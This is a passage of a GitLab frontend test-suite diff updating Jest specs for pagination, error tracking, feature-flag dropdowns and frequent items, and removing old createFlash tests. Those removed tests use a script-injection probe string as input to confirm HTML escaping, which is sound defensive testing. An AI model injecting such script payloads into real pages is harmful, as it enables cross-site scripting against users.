+ testPageInfo: { ...pageInfo, hasNextPage: true, hasPreviousPage: false },
+ expectedAfter: `after=${pageInfo.endCursor}`,
+ expectedBefore: '',
+ },
+ {
+ testPageInfo: { ...pageInfo, hasNextPage: false, hasPreviousPage: true },
+ expectedAfter: '',
+ expectedBefore: `before=${pageInfo.startCursor}`,
+ },
+ ])(
+ 'button links generation for $testPageInfo',
+ ({ testPageInfo, expectedAfter, expectedBefore }) => {
+ beforeEach(() => {
+ wrapper = createWrapper(testPageInfo);
+ });
+
+ it(`should have button links defined as ${expectedAfter || 'empty'} and
+ ${expectedBefore || 'empty'}`, () => {
+ const glPagination = wrapper.findComponent(GlKeysetPagination);
+ expect(glPagination.props().prevButtonLink).toContain(expectedBefore);
+ expect(glPagination.props().nextButtonLink).toContain(expectedAfter);
+ });
+ },
+ );
+
+ describe.each([
+ {
+ clickEvent: {
+ shiftKey: false,
+ ctrlKey: false,
+ altKey: false,
+ metaKey: false,
+ },
+ isDefaultPrevented: true,
+ },
+ {
+ clickEvent: {
+ shiftKey: true,
+ ctrlKey: false,
+ altKey: false,
+ metaKey: false,
+ },
+ isDefaultPrevented: false,
+ },
+ {
+ clickEvent: {
+ shiftKey: false,
+ ctrlKey: true,
+ altKey: false,
+ metaKey: false,
+ },
+ isDefaultPrevented: false,
+ },
+ {
+ clickEvent: {
+ shiftKey: false,
+ ctrlKey: false,
+ altKey: true,
+ metaKey: false,
+ },
+ isDefaultPrevented: false,
+ },
+ {
+ clickEvent: {
+ shiftKey: false,
+ ctrlKey: false,
+ altKey: false,
+ metaKey: true,
+ },
+ isDefaultPrevented: false,
+ },
+ ])(
+ 'when a pagination button is clicked with $clickEvent',
+ ({ clickEvent, isDefaultPrevented }) => {
+ let clickEventMock;
+ beforeEach(() => {
+ clickEventMock = { ...clickEvent, preventDefault: jest.fn() };
+ });
+
+ it(`should ${isDefaultPrevented ? '' : 'not '}prevent default event`, () => {
+ const pagination = wrapper.findComponent(GlKeysetPagination);
+ pagination.vm.$emit('click', clickEventMock);
+ expect(clickEventMock.preventDefault).toHaveBeenCalledTimes(isDefaultPrevented ? 1 : 0);
+ });
+ },
+ );
+
+ it('should navigate to a correct previous page', () => {
+ const pagination = wrapper.findComponent(GlKeysetPagination);
+ pagination.vm.$emit('prev', pageInfo.startCursor);
+ expect(mockRouter.push).toHaveBeenCalledWith({ query: { before: pageInfo.startCursor } });
+ });
+
+ it('should navigate to a correct next page', () => {
+ const pagination = wrapper.findComponent(GlKeysetPagination);
+ pagination.vm.$emit('next', pageInfo.endCursor);
+ expect(mockRouter.push).toHaveBeenCalledWith({ query: { after: pageInfo.endCursor } });
+ });
+ });
+});
diff --git a/spec/frontend/environments/environment_details_page_spec.js b/spec/frontend/environments/environment_details_page_spec.js
deleted file mode 100644
index 5a02b34250f..00000000000
--- a/spec/frontend/environments/environment_details_page_spec.js
+++ /dev/null
@@ -1,50 +0,0 @@
-import Vue from 'vue';
-import VueApollo from 'vue-apollo';
-import { GlLoadingIcon, GlTableLite } from '@gitlab/ui';
-import resolvedEnvironmentDetails from 'test_fixtures/graphql/environments/graphql/queries/environment_details.query.graphql.json';
-import { mountExtended } from 'helpers/vue_test_utils_helper';
-import createMockApollo from '../__helpers__/mock_apollo_helper';
-import waitForPromises from '../__helpers__/wait_for_promises';
-import EnvironmentsDetailPage from '../../../app/assets/javascripts/environments/environment_details/index.vue';
-import getEnvironmentDetails from '../../../app/assets/javascripts/environments/graphql/queries/environment_details.query.graphql';
-
-describe('~/environments/environment_details/page.vue', () => {
- Vue.use(VueApollo);
-
- let wrapper;
-
- const createWrapper = () => {
- const mockApollo = createMockApollo([
- [getEnvironmentDetails, jest.fn().mockResolvedValue(resolvedEnvironmentDetails)],
- ]);
-
- return mountExtended(EnvironmentsDetailPage, {
- apolloProvider: mockApollo,
- propsData: {
- projectFullPath: resolvedEnvironmentDetails.data.project.fullPath,
- environmentName: resolvedEnvironmentDetails.data.project.environment.name,
- },
- });
- };
-
- describe('when fetching data', () => {
- it('should show a loading indicator', () => {
- wrapper = createWrapper();
-
- expect(wrapper.findComponent(GlLoadingIcon).exists()).toBe(true);
- expect(wrapper.findComponent(GlTableLite).exists()).not.toBe(true);
- });
- });
-
- describe('when data is fetched', () => {
- beforeEach(async () => {
- wrapper = createWrapper();
- await waitForPromises();
- });
-
- it('should render a table when query is loaded', async () => {
- expect(wrapper.findComponent(GlLoadingIcon).exists()).not.toBe(true);
- expect(wrapper.findComponent(GlTableLite).exists()).toBe(true);
- });
- });
-});
diff --git a/spec/frontend/error_tracking/components/error_tracking_list_spec.js b/spec/frontend/error_tracking/components/error_tracking_list_spec.js
index adb2eaaf04e..31473899145 100644
--- a/spec/frontend/error_tracking/components/error_tracking_list_spec.js
+++ b/spec/frontend/error_tracking/components/error_tracking_list_spec.js
@@ -364,7 +364,23 @@ describe('ErrorTrackingList', () => {
});
it('shows empty state', () => {
- expect(wrapper.findComponent(GlEmptyState).isVisible()).toBe(true);
+ const emptyStateComponent = wrapper.findComponent(GlEmptyState);
+ const emptyStatePrimaryDescription = emptyStateComponent.find('span', {
+ exactText: 'Monitor your errors directly in GitLab.',
+ });
+ const emptyStateSecondaryDescription = emptyStateComponent.find('span', {
+ exactText: 'Error tracking is currently in',
+ });
+ const emptyStateLinks = emptyStateComponent.findAll('a');
+ expect(emptyStateComponent.isVisible()).toBe(true);
+ expect(emptyStatePrimaryDescription.exists()).toBe(true);
+ expect(emptyStateSecondaryDescription.exists()).toBe(true);
+ expect(emptyStateLinks.at(0).attributes('href')).toBe(
+ '/help/operations/error_tracking.html#integrated-error-tracking',
+ );
+ expect(emptyStateLinks.at(1).attributes('href')).toBe(
+ 'https://about.gitlab.com/handbook/product/gitlab-the-product/#open-beta',
+ );
});
});
diff --git a/spec/frontend/error_tracking/store/list/actions_spec.js b/spec/frontend/error_tracking/store/list/actions_spec.js
index 2809bbe834e..590983bd93d 100644
--- a/spec/frontend/error_tracking/store/list/actions_spec.js
+++ b/spec/frontend/error_tracking/store/list/actions_spec.js
@@ -4,7 +4,7 @@ import * as actions from '~/error_tracking/store/list/actions';
import * as types from '~/error_tracking/store/list/mutation_types';
import { createAlert } from '~/flash';
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_BAD_REQUEST, HTTP_STATUS_OK } from '~/lib/utils/http_status';
jest.mock('~/flash.js');
@@ -23,7 +23,7 @@ describe('error tracking actions', () => {
it('should start polling for data', () => {
const payload = { errors: [{ id: 1 }, { id: 2 }] };
- mock.onGet().reply(httpStatusCodes.OK, payload);
+ mock.onGet().reply(HTTP_STATUS_OK, payload);
return testAction(
actions.startPolling,
{},
@@ -39,7 +39,7 @@ describe('error tracking actions', () => {
});
it('should show flash on API error', async () => {
- mock.onGet().reply(httpStatusCodes.BAD_REQUEST);
+ mock.onGet().reply(HTTP_STATUS_BAD_REQUEST);
await testAction(
actions.startPolling,
diff --git a/spec/frontend/error_tracking_settings/components/project_dropdown_spec.js b/spec/frontend/error_tracking_settings/components/project_dropdown_spec.js
index c9095441d41..8653ebac20d 100644
--- a/spec/frontend/error_tracking_settings/components/project_dropdown_spec.js
+++ b/spec/frontend/error_tracking_settings/components/project_dropdown_spec.js
@@ -1,4 +1,4 @@
-import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { GlCollapsibleListbox } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import Vue, { nextTick } from 'vue';
import { pick, clone } from 'lodash';
@@ -42,7 +42,7 @@ describe('error tracking settings project dropdown', () => {
describe('empty project list', () => {
it('renders the dropdown', () => {
expect(wrapper.find('#project-dropdown').exists()).toBe(true);
- expect(wrapper.findComponent(GlDropdown).exists()).toBe(true);
+ expect(wrapper.findComponent(GlCollapsibleListbox).exists()).toBe(true);
});
it('shows helper text', () => {
@@ -57,8 +57,10 @@ describe('error tracking settings project dropdown', () => {
});
it('does not contain any dropdown items', () => {
- expect(wrapper.findComponent(GlDropdownItem).exists()).toBe(false);
- expect(wrapper.findComponent(GlDropdown).props('text')).toBe('No projects available');
+ expect(wrapper.findComponent(GlCollapsibleListbox).props('items')).toEqual([]);
+ expect(wrapper.findComponent(GlCollapsibleListbox).props('toggleText')).toBe(
+ 'No projects available',
+ );
});
});
@@ -71,12 +73,12 @@ describe('error tracking settings project dropdown', () => {
it('renders the dropdown', () => {
expect(wrapper.find('#project-dropdown').exists()).toBe(true);
- expect(wrapper.findComponent(GlDropdown).exists()).toBe(true);
+ expect(wrapper.findComponent(GlCollapsibleListbox).exists()).toBe(true);
});
it('contains a number of dropdown items', () => {
- expect(wrapper.findComponent(GlDropdownItem).exists()).toBe(true);
- expect(wrapper.findAllComponents(GlDropdownItem).length).toBe(2);
+ expect(wrapper.findComponent(GlCollapsibleListbox).exists()).toBe(true);
+ expect(wrapper.findComponent(GlCollapsibleListbox).props('items').length).toBe(2);
});
});
diff --git a/spec/frontend/error_tracking_settings/mock.js b/spec/frontend/error_tracking_settings/mock.js
index b2d7a912518..96d93540ba5 100644
--- a/spec/frontend/error_tracking_settings/mock.js
+++ b/spec/frontend/error_tracking_settings/mock.js
@@ -5,12 +5,14 @@ const defaultStore = createStore();
export const projectList = [
{
+ id: '1',
name: 'name',
slug: 'slug',
organizationName: 'organizationName',
organizationSlug: 'organizationSlug',
},
{
+ id: '2',
name: 'name2',
slug: 'slug2',
organizationName: 'organizationName2',
@@ -19,6 +21,7 @@ export const projectList = [
];
export const staleProject = {
+ id: '3',
name: 'staleName',
slug: 'staleSlug',
organizationName: 'staleOrganizationName',
@@ -26,6 +29,7 @@ export const staleProject = {
};
export const normalizedProject = {
+ id: '5',
name: 'name',
slug: 'slug',
organizationName: 'organization_name',
@@ -33,6 +37,7 @@ export const normalizedProject = {
};
export const sampleBackendProject = {
+ id: '5',
name: normalizedProject.name,
slug: normalizedProject.slug,
organization_name: normalizedProject.organizationName,
@@ -45,6 +50,7 @@ export const sampleFrontendSettings = {
integrated: false,
token: 'token',
selectedProject: {
+ id: '5',
slug: normalizedProject.slug,
name: normalizedProject.name,
organizationName: normalizedProject.organizationName,
@@ -58,6 +64,7 @@ export const transformedSettings = {
integrated: false,
token: 'token',
project: {
+ sentry_project_id: '5',
slug: normalizedProject.slug,
name: normalizedProject.name,
organization_name: normalizedProject.organizationName,
diff --git a/spec/frontend/feature_flags/components/environments_dropdown_spec.js b/spec/frontend/feature_flags/components/environments_dropdown_spec.js
index 2b9710c9085..a4738fed37e 100644
--- a/spec/frontend/feature_flags/components/environments_dropdown_spec.js
+++ b/spec/frontend/feature_flags/components/environments_dropdown_spec.js
@@ -6,7 +6,7 @@ import waitForPromises from 'helpers/wait_for_promises';
import { TEST_HOST } from 'spec/test_constants';
import EnvironmentsDropdown from '~/feature_flags/components/environments_dropdown.vue';
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
describe('Feature flags > Environments dropdown', () => {
let wrapper;
@@ -51,7 +51,7 @@ describe('Feature flags > Environments dropdown', () => {
describe('on focus', () => {
it('sets results with the received data', async () => {
- mock.onGet(`${TEST_HOST}/environments.json'`).replyOnce(httpStatusCodes.OK, results);
+ mock.onGet(`${TEST_HOST}/environments.json'`).replyOnce(HTTP_STATUS_OK, results);
factory();
findEnvironmentSearchInput().vm.$emit('focus');
await waitForPromises();
@@ -63,7 +63,7 @@ describe('Feature flags > Environments dropdown', () => {
describe('on keyup', () => {
it('sets results with the received data', async () => {
- mock.onGet(`${TEST_HOST}/environments.json'`).replyOnce(httpStatusCodes.OK, results);
+ mock.onGet(`${TEST_HOST}/environments.json'`).replyOnce(HTTP_STATUS_OK, results);
factory();
findEnvironmentSearchInput().vm.$emit('keyup');
await waitForPromises();
@@ -76,7 +76,7 @@ describe('Feature flags > Environments dropdown', () => {
describe('on input change', () => {
describe('on success', () => {
beforeEach(async () => {
- mock.onGet(`${TEST_HOST}/environments.json'`).replyOnce(httpStatusCodes.OK, results);
+ mock.onGet(`${TEST_HOST}/environments.json'`).replyOnce(HTTP_STATUS_OK, results);
factory();
findEnvironmentSearchInput().vm.$emit('focus');
findEnvironmentSearchInput().vm.$emit('input', 'production');
@@ -128,7 +128,7 @@ describe('Feature flags > Environments dropdown', () => {
describe('on click create button', () => {
beforeEach(async () => {
- mock.onGet(`${TEST_HOST}/environments.json'`).replyOnce(httpStatusCodes.OK, []);
+ mock.onGet(`${TEST_HOST}/environments.json'`).replyOnce(HTTP_STATUS_OK, []);
factory();
findEnvironmentSearchInput().vm.$emit('focus');
findEnvironmentSearchInput().vm.$emit('input', 'production');
diff --git a/spec/frontend/feature_flags/components/new_environments_dropdown_spec.js b/spec/frontend/feature_flags/components/new_environments_dropdown_spec.js
index 1c0c444c296..b71cdf78207 100644
--- a/spec/frontend/feature_flags/components/new_environments_dropdown_spec.js
+++ b/spec/frontend/feature_flags/components/new_environments_dropdown_spec.js
@@ -4,7 +4,7 @@ import MockAdapter from 'axios-mock-adapter';
import { nextTick } from 'vue';
import NewEnvironmentsDropdown from '~/feature_flags/components/new_environments_dropdown.vue';
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
const TEST_HOST = '/test';
const TEST_SEARCH = 'production';
@@ -74,7 +74,7 @@ describe('New Environments Dropdown', () => {
describe('with results', () => {
let items;
beforeEach(() => {
- axiosMock.onGet(TEST_HOST).reply(httpStatusCodes.OK, ['prod', 'production']);
+ axiosMock.onGet(TEST_HOST).reply(HTTP_STATUS_OK, ['prod', 'production']);
wrapper.findComponent(GlSearchBoxByType).vm.$emit('focus');
wrapper.findComponent(GlSearchBoxByType).vm.$emit('input', 'prod');
return axios.waitForAll().then(() => {
diff --git a/spec/frontend/feature_highlight/feature_highlight_helper_spec.js b/spec/frontend/feature_highlight/feature_highlight_helper_spec.js
index d82081041d9..4d5cb26810e 100644
--- a/spec/frontend/feature_highlight/feature_highlight_helper_spec.js
+++ b/spec/frontend/feature_highlight/feature_highlight_helper_spec.js
@@ -2,7 +2,7 @@ import MockAdapter from 'axios-mock-adapter';
import { dismiss } from '~/feature_highlight/feature_highlight_helper';
import { createAlert } from '~/flash';
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes, { HTTP_STATUS_CREATED } from '~/lib/utils/http_status';
+import { HTTP_STATUS_CREATED, HTTP_STATUS_INTERNAL_SERVER_ERROR } from '~/lib/utils/http_status';
jest.mock('~/flash');
@@ -11,7 +11,6 @@ describe('feature highlight helper', () => {
let mockAxios;
const endpoint = '/-/callouts/dismiss';
const highlightId = '123';
- const { INTERNAL_SERVER_ERROR } = httpStatusCodes;
beforeEach(() => {
mockAxios = new MockAdapter(axios);
@@ -28,7 +27,9 @@ describe('feature highlight helper', () => {
});
it('triggers flash when dismiss request fails', async () => {
- mockAxios.onPost(endpoint, { feature_name: highlightId }).replyOnce(INTERNAL_SERVER_ERROR);
+ mockAxios
+ .onPost(endpoint, { feature_name: highlightId })
+ .replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR);
await dismiss(endpoint, highlightId);
diff --git a/spec/frontend/fixtures/environments.rb b/spec/frontend/fixtures/environments.rb
index 3ca5b50ac9c..77e2a96b328 100644
--- a/spec/frontend/fixtures/environments.rb
+++ b/spec/frontend/fixtures/environments.rb
@@ -18,36 +18,55 @@ RSpec.describe 'Environments (JavaScript fixtures)', feature_category: :environm
let(:user) { create(:user) }
let(:role) { :developer }
- let_it_be(:deployment) do
- create(:deployment, :success, environment: environment, deployable: nil)
- end
- let_it_be(:deployment_success) do
- create(:deployment, :success, environment: environment, deployable: build)
- end
+ describe GraphQL::Query, type: :request do
+ environment_details_query_path = 'environments/graphql/queries/environment_details.query.graphql'
- let_it_be(:deployment_failed) do
- create(:deployment, :failed, environment: environment, deployable: build)
- end
+ context 'with no deployments' do
+ it "graphql/#{environment_details_query_path}.empty.json" do
+ query = get_graphql_query_as_string(environment_details_query_path)
+ puts project.full_path
+ puts environment.name
+ post_graphql(query, current_user: admin,
+ variables:
+ {
+ projectFullPath: project.full_path,
+ environmentName: environment.name,
+ pageSize: 10
+ })
+ expect_graphql_errors_to_be_empty
+ end
+ end
- let_it_be(:deployment_running) do
- create(:deployment, :running, environment: environment, deployable: build)
- end
+ context 'with deployments' do
+ let_it_be(:deployment) do
+ create(:deployment, :success, environment: environment, deployable: nil)
+ end
- describe GraphQL::Query, type: :request do
- environment_details_query_path = 'environments/graphql/queries/environment_details.query.graphql'
+ let_it_be(:deployment_success) do
+ create(:deployment, :success, environment: environment, deployable: build)
+ end
+
+ let_it_be(:deployment_failed) do
+ create(:deployment, :failed, environment: environment, deployable: build)
+ end
+
+ let_it_be(:deployment_running) do
+ create(:deployment, :running, environment: environment, deployable: build)
+ end
+
+ it "graphql/#{environment_details_query_path}.json" do
+ query = get_graphql_query_as_string(environment_details_query_path)
- it "graphql/#{environment_details_query_path}.json" do
- query = get_graphql_query_as_string(environment_details_query_path)
-
- post_graphql(query, current_user: admin,
- variables:
- {
- projectFullPath: project.full_path,
- environmentName: environment.name,
- pageSize: 10
- })
- expect_graphql_errors_to_be_empty
+ post_graphql(query, current_user: admin,
+ variables:
+ {
+ projectFullPath: project.full_path,
+ environmentName: environment.name,
+ pageSize: 10
+ })
+ expect_graphql_errors_to_be_empty
+ end
end
end
end
diff --git a/spec/frontend/fixtures/issues.rb b/spec/frontend/fixtures/issues.rb
index bc5ece20032..1e6baf30a76 100644
--- a/spec/frontend/fixtures/issues.rb
+++ b/spec/frontend/fixtures/issues.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Projects::IssuesController, '(JavaScript fixtures)', type: :controller do
+RSpec.describe Projects::IssuesController, '(JavaScript fixtures)', :with_license, type: :controller do
include JavaScriptFixturesHelpers
let(:user) { create(:user, feed_token: 'feedtoken:coldfeed') }
diff --git a/spec/frontend/fixtures/projects.rb b/spec/frontend/fixtures/projects.rb
index 101ba203a57..2ccf2c0392f 100644
--- a/spec/frontend/fixtures/projects.rb
+++ b/spec/frontend/fixtures/projects.rb
@@ -66,4 +66,36 @@ RSpec.describe 'Projects (JavaScript fixtures)', type: :controller do
end
end
end
+
+ describe 'Storage', feature_category: :subscription_cost_management do
+ describe GraphQL::Query, type: :request do
+ include GraphqlHelpers
+ context 'project storage statistics query' do
+ before do
+ project.statistics.update!(
+ repository_size: 3_900_000,
+ lfs_objects_size: 4_800_000,
+ build_artifacts_size: 400_000,
+ pipeline_artifacts_size: 400_000,
+ container_registry_size: 3_900_000,
+ wiki_size: 300_000,
+ packages_size: 3_800_000,
+ uploads_size: 900_000
+ )
+ end
+
+ base_input_path = 'usage_quotas/storage/queries/'
+ base_output_path = 'graphql/usage_quotas/storage/'
+ query_name = 'project_storage.query.graphql'
+
+ it "#{base_output_path}#{query_name}.json" do
+ query = get_graphql_query_as_string("#{base_input_path}#{query_name}")
+
+ post_graphql(query, current_user: user, variables: { fullPath: project.full_path })
+
+ expect_graphql_errors_to_be_empty
+ end
+ end
+ end
+ end
end
diff --git a/spec/frontend/fixtures/runner_instructions.rb b/spec/frontend/fixtures/runner_instructions.rb
index 90a01c37479..5659b8023e9 100644
--- a/spec/frontend/fixtures/runner_instructions.rb
+++ b/spec/frontend/fixtures/runner_instructions.rb
@@ -7,7 +7,7 @@ RSpec.describe 'Runner Instructions (JavaScript fixtures)', feature_category: :r
include JavaScriptFixturesHelpers
include GraphqlHelpers
- query_path = 'vue_shared/components/runner_instructions/graphql/queries'
+ query_path = 'vue_shared/components/runner_instructions/graphql'
describe GraphQL::Query do
describe 'get_runner_platforms.query.graphql', type: :request do
diff --git a/spec/frontend/flash_spec.js b/spec/frontend/flash_spec.js
index ade36cd1637..2f0a52a9884 100644
--- a/spec/frontend/flash_spec.js
+++ b/spec/frontend/flash_spec.js
@@ -1,9 +1,8 @@
import * as Sentry from '@sentry/browser';
import { setHTMLFixture, resetHTMLFixture } from 'helpers/fixtures';
-import createFlash, {
+import {
hideFlash,
addDismissFlashClickListener,
- FLASH_TYPES,
FLASH_CLOSED_EVENT,
createAlert,
VARIANT_WARNING,
@@ -340,207 +339,6 @@ describe('Flash', () => {
});
});
- describe('createFlash', () => {
- const message = 'test';
- const fadeTransition = false;
- const addBodyClass = true;
- const defaultParams = {
- message,
- actionConfig: null,
- fadeTransition,
- addBodyClass,
- };
-
- describe('no flash-container', () => {
- it('does not add to the DOM', () => {
- const flashEl = createFlash({ message });
-
- expect(flashEl).toBeNull();
-
- expect(document.querySelector('.flash-alert')).toBeNull();
- });
- });
-
- describe('with flash-container', () => {
- beforeEach(() => {
- setHTMLFixture(
- '<div class="content-wrapper js-content-wrapper"><div class="flash-container"></div></div>',
- );
- });
-
- afterEach(() => {
- resetHTMLFixture();
- });
-
- it('adds flash alert element into the document by default', () => {
- createFlash({ ...defaultParams });
-
- expect(document.querySelector('.flash-container .flash-alert')).not.toBeNull();
- expect(document.body.className).toContain('flash-shown');
- });
-
- it('adds flash of a warning type', () => {
- createFlash({ ...defaultParams, type: FLASH_TYPES.WARNING });
-
- expect(document.querySelector('.flash-container .flash-warning')).not.toBeNull();
- expect(document.body.className).toContain('flash-shown');
- });
-
- it('escapes text', () => {
- createFlash({ ...defaultParams, message: '<script>alert("a")</script>' });
-
- const html = document.querySelector('.flash-text').innerHTML;
-
- expect(html).toContain('&lt;script&gt;alert("a")&lt;/script&gt;');
- expect(html).not.toContain('<script>alert("a")</script>');
- });
-
- it('adds flash into specified parent', () => {
- createFlash({ ...defaultParams, parent: document.querySelector('.content-wrapper') });
-
- expect(document.querySelector('.content-wrapper .flash-alert')).not.toBeNull();
- expect(document.querySelector('.content-wrapper').innerText.trim()).toEqual(message);
- });
-
- it('adds container classes when inside content-wrapper', () => {
- createFlash(defaultParams);
-
- expect(document.querySelector('.flash-text').className).toBe('flash-text');
- expect(document.querySelector('.content-wrapper').innerText.trim()).toEqual(message);
- });
-
- it('does not add container when outside of content-wrapper', () => {
- document.querySelector('.content-wrapper').className = 'js-content-wrapper';
- createFlash(defaultParams);
-
- expect(document.querySelector('.flash-text').className.trim()).toContain('flash-text');
- });
-
- it('removes element after clicking', () => {
- createFlash({ ...defaultParams });
-
- document.querySelector('.flash-alert .js-close-icon').click();
-
- expect(document.querySelector('.flash-alert')).toBeNull();
-
- expect(document.body.className).not.toContain('flash-shown');
- });
-
- it('does not capture error using Sentry', () => {
- createFlash({ ...defaultParams, captureError: false, error: new Error('Error!') });
-
- expect(Sentry.captureException).not.toHaveBeenCalled();
- });
-
- it('captures error using Sentry', () => {
- createFlash({ ...defaultParams, captureError: true, error: new Error('Error!') });
-
- expect(Sentry.captureException).toHaveBeenCalledWith(expect.any(Error));
- expect(Sentry.captureException).toHaveBeenCalledWith(
- expect.objectContaining({
- message: 'Error!',
- }),
- );
- });
-
- describe('with actionConfig', () => {
- const findFlashAction = () => document.querySelector('.flash-container .flash-action');
-
- it('adds action link', () => {
- createFlash({
- ...defaultParams,
- actionConfig: {
- title: 'test',
- },
- });
-
- expect(findFlashAction()).not.toBeNull();
- });
-
- it('creates link with href', () => {
- createFlash({
- ...defaultParams,
- actionConfig: {
- href: 'testing',
- title: 'test',
- },
- });
-
- const action = findFlashAction();
-
- expect(action.href).toBe(`${window.location}testing`);
- expect(action.textContent.trim()).toBe('test');
- });
-
- it('uses hash as href when no href is present', () => {
- createFlash({
- ...defaultParams,
- actionConfig: {
- title: 'test',
- },
- });
-
- expect(findFlashAction().href).toBe(`${window.location}#`);
- });
-
- it('adds role when no href is present', () => {
- createFlash({
- ...defaultParams,
- actionConfig: {
- title: 'test',
- },
- });
-
- expect(findFlashAction().getAttribute('role')).toBe('button');
- });
-
- it('escapes the title text', () => {
- createFlash({
- ...defaultParams,
- actionConfig: {
- title: '<script>alert("a")</script>',
- },
- });
-
- const html = findFlashAction().innerHTML;
-
- expect(html).toContain('&lt;script&gt;alert("a")&lt;/script&gt;');
- expect(html).not.toContain('<script>alert("a")</script>');
- });
-
- it('calls actionConfig clickHandler on click', () => {
- const clickHandler = jest.fn();
-
- createFlash({
- ...defaultParams,
- actionConfig: {
- title: 'test',
- clickHandler,
- },
- });
-
- findFlashAction().click();
-
- expect(clickHandler).toHaveBeenCalled();
- });
- });
-
- describe('additional behavior', () => {
- describe('close', () => {
- it('clicks the close icon', () => {
- const flash = createFlash({ ...defaultParams });
- const close = document.querySelector('.flash-alert .js-close-icon');
-
- jest.spyOn(close, 'click');
- flash.close();
-
- expect(close.click.mock.calls.length).toBe(1);
- });
- });
- });
- });
- });
-
describe('addDismissFlashClickListener', () => {
let el;
diff --git a/spec/frontend/frequent_items/components/app_spec.js b/spec/frontend/frequent_items/components/app_spec.js
index c201bbf4af2..b1e87aca63d 100644
--- a/spec/frontend/frequent_items/components/app_spec.js
+++ b/spec/frontend/frequent_items/components/app_spec.js
@@ -1,3 +1,4 @@
+import { GlButton, GlIcon } from '@gitlab/ui';
import MockAdapter from 'axios-mock-adapter';
import Vue, { nextTick } from 'vue';
import Vuex from 'vuex';
@@ -103,6 +104,7 @@ describe('Frequent Items App Component', () => {
expect(loading.exists()).toBe(true);
expect(loading.find('[aria-label="Loading projects"]').exists()).toBe(true);
+ expect(findSectionHeader().exists()).toBe(false);
});
it('should render frequent projects list header', () => {
@@ -112,25 +114,6 @@ describe('Frequent Items App Component', () => {
expect(sectionHeader.text()).toBe('Frequently visited');
});
- it('should render frequent projects list', async () => {
- const expectedResult = getTopFrequentItems(mockFrequentProjects);
- localStorage.setItem(TEST_STORAGE_KEY, JSON.stringify(mockFrequentProjects));
-
- expect(findFrequentItems().length).toBe(1);
-
- triggerDropdownOpen();
- await nextTick();
-
- expect(findFrequentItems().length).toBe(expectedResult.length);
- expect(findFrequentItemsList().props()).toEqual({
- items: expectedResult,
- namespace: TEST_NAMESPACE,
- hasSearchQuery: false,
- isFetchFailed: false,
- matcher: '',
- });
- });
-
it('should render searched projects list', async () => {
mock.onGet(/\/api\/v4\/projects.json(.*)$/).replyOnce(200, mockSearchedProjects.data);
@@ -164,6 +147,47 @@ describe('Frequent Items App Component', () => {
}),
);
});
+
+ describe('with frequent items list', () => {
+ const expectedResult = getTopFrequentItems(mockFrequentProjects);
+
+ beforeEach(async () => {
+ localStorage.setItem(TEST_STORAGE_KEY, JSON.stringify(mockFrequentProjects));
+ triggerDropdownOpen();
+ await nextTick();
+ });
+
+ it('should render edit button within header', () => {
+ const itemEditButton = findSectionHeader().findComponent(GlButton);
+
+ expect(itemEditButton.exists()).toBe(true);
+ expect(itemEditButton.attributes('title')).toBe('Toggle edit mode');
+ expect(itemEditButton.findComponent(GlIcon).props('name')).toBe('pencil');
+ });
+
+ it('should render frequent projects list', () => {
+ expect(findFrequentItems().length).toBe(expectedResult.length);
+ expect(findFrequentItemsList().props()).toEqual({
+ items: expectedResult,
+ namespace: TEST_NAMESPACE,
+ hasSearchQuery: false,
+ isFetchFailed: false,
+ isItemRemovalFailed: false,
+ matcher: '',
+ });
+ });
+
+ it('dispatches action `toggleItemsListEditablity` when edit button is clicked', async () => {
+ const itemEditButton = findSectionHeader().findComponent(GlButton);
+ itemEditButton.vm.$emit('click');
+
+ await nextTick();
+
+ expect(store.dispatch).toHaveBeenCalledWith(
+ `${TEST_VUEX_MODULE}/toggleItemsListEditablity`,
+ );
+ });
+ });
});
describe('with searchClass', () => {
diff --git a/spec/frontend/frequent_items/components/frequent_items_list_item_spec.js b/spec/frontend/frequent_items/components/frequent_items_list_item_spec.js
index e6673fa78ec..4f2badf869d 100644
--- a/spec/frontend/frequent_items/components/frequent_items_list_item_spec.js
+++ b/spec/frontend/frequent_items/components/frequent_items_list_item_spec.js
@@ -1,5 +1,5 @@
-import { GlButton } from '@gitlab/ui';
-import Vue from 'vue';
+import { GlIcon } from '@gitlab/ui';
+import Vue, { nextTick } from 'vue';
import Vuex from 'vuex';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import { trimText } from 'helpers/text_helper';
@@ -12,6 +12,7 @@ import { mockProject } from '../mock_data';
Vue.use(Vuex);
describe('FrequentItemsListItemComponent', () => {
+ const TEST_VUEX_MODULE = 'frequentProjects';
let wrapper;
let trackingSpy;
let store;
@@ -20,11 +21,18 @@ describe('FrequentItemsListItemComponent', () => {
const findAvatar = () => wrapper.findComponent(ProjectAvatar);
const findAllTitles = () => wrapper.findAllByTestId('frequent-items-item-title');
const findNamespace = () => wrapper.findByTestId('frequent-items-item-namespace');
- const findAllButtons = () => wrapper.findAllComponents(GlButton);
+ const findAllFrequentItems = () => wrapper.findAllByTestId('frequent-item-link');
const findAllNamespace = () => wrapper.findAllByTestId('frequent-items-item-namespace');
const findAllAvatars = () => wrapper.findAllComponents(ProjectAvatar);
const findAllMetadataContainers = () =>
wrapper.findAllByTestId('frequent-items-item-metadata-container');
+ const findRemoveButton = () => wrapper.findByTestId('item-remove');
+
+ const toggleItemsListEditablity = async () => {
+ store.dispatch(`${TEST_VUEX_MODULE}/toggleItemsListEditablity`);
+
+ await nextTick();
+ };
const createComponent = (props = {}) => {
wrapper = shallowMountExtended(frequentItemsListItemComponent, {
@@ -38,7 +46,7 @@ describe('FrequentItemsListItemComponent', () => {
...props,
},
provide: {
- vuexModule: 'frequentProjects',
+ vuexModule: TEST_VUEX_MODULE,
},
});
};
@@ -102,7 +110,7 @@ describe('FrequentItemsListItemComponent', () => {
it.each`
name | selector | expected
- ${'button'} | ${findAllButtons} | ${1}
+ ${'list item'} | ${findAllFrequentItems} | ${1}
${'avatar container'} | ${findAllAvatars} | ${1}
${'metadata container'} | ${findAllMetadataContainers} | ${1}
